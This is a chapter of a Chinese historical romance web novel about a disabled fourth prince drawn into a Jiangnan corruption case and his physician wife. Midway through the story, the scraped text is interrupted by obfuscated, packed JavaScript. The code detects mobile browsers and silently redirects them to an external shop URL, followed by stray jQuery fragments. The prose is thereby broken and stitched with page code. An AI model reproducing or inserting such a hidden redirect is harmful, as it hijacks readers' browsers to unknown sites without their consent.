赵景辰没有练字。
难得出门一次,而且还是来了大皇子的府上。
当今皇后无子,大皇子乃德妃所出又是陛下的长子,在众人眼里便是妥妥的太子人选。
只是陛下龙体康健,至今没有定下太子。
对于第一个儿子,他甚是宠爱,所以赐下的院子远超皇子规制。
幸好大皇子温润贤德,从不以此骄矜自傲,待人接物反倒比寻常皇子更添几分谦和。
花园内奇花斗艳,这些都是从各地搜罗而来。
因提前递了帖子,
赵景泽知道弟弟要来,特地提前迎了出来。
赵景辰端坐在轮椅上。
“哈哈”赵景泽笑道:“今日下朝我就知道,你要来。”
赵景辰苦笑一声:“我真是躲在家里,无故有祸端降身。”
江南的贪污一案查了半年,朝廷上下恐慌了半年,两位钦差深陷泥潭牵扯其中。
“秦雯邹,如今被关在大理寺,没有父皇的旨意无人敢提审。”
赵景泽道:“现在最重要的,便是将江南的乱象平定下来。”
“所以皇兄便荐举了我?”
“不是我,是父皇,是他想让你去。”
书房外,展四正在同大皇子府的人交流养花心得。
他好奇的望着那些奇花问道:“这些都是你们平日里在管吗?”
被询问的内侍满脸愁容:“我们大皇子不喜欢侍女伺候,自然都是杂家们在负责。”
“我们四皇子也是。”
“这些花可难养了,有些还是波斯进贡的品种,可大皇妃喜欢,每年春天六月时节,总会吸引来许多蝴蝶,这个时候大皇妃会举办一场赏蝶宴,我们照看有功也能拿到赏钱。”
有钱拿,照看的人才会更加用心。
上次四皇子同四皇妃逛完鹦鹉,翌日便赏了照看的下人一笔钱。
如果自己投其所好呢?展四摸了摸下巴。
内侍好奇地问道:“你们四皇妃喜欢什么?”
“药材。”
书房门打开,两位主子从里面走了出来,一眼便看见院子内的侍从们都围在花坛旁。
这群正在偷懒的立刻散开。
展四连忙迎上去,去推自家四皇子。
赵景辰摆摆手,表示自己来。
大皇子生性温和自然不计较下人,走下台阶同弟弟并行。
他道:“这件事情你是推脱不掉了,但也不用再担心。”
“江南乱象,起因是有人为混淆视听,从中捣鬼,前两位钦差能力出众但身份不够,父皇看透了其中关键,才想派一位皇子去坐镇。”
“此次南下,必然还有其他人与你同行,这位才是父皇想保的棋子。”
“不过你刚新婚,四皇妃温柔贤淑,你若不舍,不如让她陪你一同前去。”
最后这两句,赵景辰确定皇兄在调侃自己。
赵景辰苦笑一声,只觉路途遥远,不知凶险,哪里像皇兄说的这般简单。
危险,不一定来自那些江南官员。
不过皇兄这番话说的深入浅出,将江南局势剖析的清晰透彻,怕是已经对江南贪污案关注许久。
估计这几日就有圣旨下来了。
……
这边李菀白已经上了马车。
难得早日回家,她感到一阵轻松。
最近的确早出晚归,都没有同四皇子好生交谈过。
虽然每天晚上,依旧帮对方推拿治病,但是病患的心神状态也要关注。
而且他似乎还挺喜欢自己的。
这件事李菀白当然发现了,虽然她没有谈过恋爱,但又不是真的恋爱小白。
如果问李菀白对此的感受,她觉得这个人优秀,比大多数她接触到的古代人思想都超前。
如果让她口述,她能够列举出一系列案例。
尤其是再考虑到他的确是个古人的情况下,就显得更加难得可贵。
至于她到底怎么想的,李菀白没有想明白,也决定先不想。
目前她只想将赵景辰的腿伤治疗好,完成系统第一期的任务,赶紧将下面的课程解锁了。
人在没有选择权的时候,一切都是空想。
只有把穿越卷轴拿在手里,再去思考到底是还是留,才是她真正的选择。
李菀白叹了口气,她发现自己好像有点务实。
“好烦!带点啥回去呢?”
就算不是想给对方一个惊喜,当作昨日的回礼吧!
此时四皇子府内,难得两位主子都出去了,大家自然都想偷个懒。
一时间,府内看不见人影。
侍从们静悄悄的,不知道都藏在哪里。
等主子们都回来的时候,又能看见他们从意想不到的地方钻出来。
赵景辰回到府中的时候,意外地看见一道身影。
“德顺?”
老太监跪在人群里,他抬起头,见四皇子认出自己,不由得面带喜笑。
“你修养的如何?”赵景辰问道。
“劳殿下惦记,最近身体好了许多了。”到了他这个年纪还能得主子惦记,已经是不容易。
“嗯,府中的那些鸟,之前是你在养吧,也是你有心还记得。“
这些鸟还是他在四皇子还小的时候,从宫外给对方带回去的。
“之前四皇子同皇妃去看过后,那些鸟叽叽喳喳连着叫了好几天。”德顺小心地说道:“倒是最近府内冷清许多,它们才消停下来。”
赵景辰眉头一皱。
德顺便立刻闭嘴什么都不敢说了。
站在身后的展四只觉得这老贼当真烦人,若不是德妃赐下的老人,从小伺候过四皇子,哪敢如此说话。
明目张胆的挑拨皇子和皇妃的关系。
不过,这老贼不在鸟舍猫着,突然冒出来,是不是代表德妃娘娘下达了什么旨意?
这些事在展四心里过了一遍。
他不由得低头去看四皇子的脸色,只见他凉凉的撇了自己一眼。
立刻心底一沉,连忙低下头。
江南、贪污还有那个被管起来的秦雯邹,以及气到在朝堂大发雷霆,匆忙把自己派下去。
母妃和兄长是否参与其中呢?
赵景辰回到屋子里,面容沉重,本来从大皇子府回来时,原本还算轻松的心情荡然无存。
德顺这个人给母妃做过不少事。
棋盘上原本沉寂的棋子突然有了变故,不得不让人多疑。
“到底还是被这双残废的腿,困在了这个牢笼里。”他闭上眼,屋子内一片寂静。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17558606|204414||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
他却觉得心底,有一个格外吵闹的声音。
让他不得安宁。
忽然,他似乎想到了什么,再次睁开眼。
阳光透过窗棂照在桌子上,一本医书映入眼帘,上面记载着不少笔记,能看出主人学的非常用心。
夫人最近经常坐在这里看书,没想到今天把这本落下了。
不知道,她最近早出晚归,医馆经营的怎么样。
赵景辰忽的一下笑了。
抬手将书籍拿了起来,上面细小的文字,每一个都是李菀亲手写下的。
字迹娟秀,笔力却沉稳。
如同她这个人一样,看着温婉,骨子里却藏着韧劲。
一不留神,他竟不由得看入了迷。
虽然医书一道是杂学,但里面一笔一画记下的心得,却藏着她独到理解。
远比朝堂上的弯弯绕绕更显得通透。
侍从们悄然立在四下。
屋内静悄悄,他的指间还停留在书页上,看得久了,竟觉得一时间口渴。
刚抬眼想唤侍从,一碗温茶便已经稳稳递到他面前。
顺着茶水波纹上的倒影。
抬眸时,正巧撞进李菀白淡然的眉眼,她身上还带着几分刚从外面归来的气息。
以及淡淡的草药香。
李菀白语气自然:“今天医馆的事情处理完了,回来的便早了些。”
站在门外的半荷,只觉得眼前一黑。
皇妃怎么这样说!!!
应该说,今日想四殿下了,所以特地抛下外面的事情,早些回来了。
赵景辰愣了一瞬,才反应过来。
他低笑出声,眼尾微微弯起,声音带着几分不易察觉的暖意:“当真是有劳夫人了。”
随后抬手接过了茶杯,品了一口。
“茶是夫人泡的吗?”他好奇问道。
“是。”李菀白随意坐了下来,也是她之前看医书时,常坐的位置。
来的路上,她想了半天也不知道给对方一个什么惊喜。
思来想去还是自己不如赵景辰,毕竟他总能想到自己喜欢什么。
所以回来的时候,看见他正坐在自己经常看书的地方。
……发呆。
虽然他在看书,可李菀白知道他就是在发呆。
于是想着他回过神来应该会口渴,就泡了一壶茶,人们不都说关心一个人应该从细节出发。
李菀白觉得,自己已经够关心他的病情了。
她抬起茶壶给自己倒了一杯,尝尝,泡茶的水平的确不如半荷,怪不得被认了出来。
“夫人泡的茶真好喝。”赵景辰突然道。
明知道他是在恭维,李菀白还是感到舒畅,那句话怎么说来着,只要肯为我花心思就好。
她的目光移到赵景辰的脸上。
素来知道他生得好看,只是从来未曾特意观察过,如今夸了她,自然看起来更帅了。
此刻阳光落在他的侧脸上,眉眼间的冷硬都柔软了几分。
这让她有些失神,连呼吸都慢了半拍。
“夫人为何这样看我?“他摸了一下脸,好奇道:“我脸上有什么东西吗?”
“没有。”李菀白摇摇头:“总觉得,你今日有些不一样,我提前回来你不开心吗?”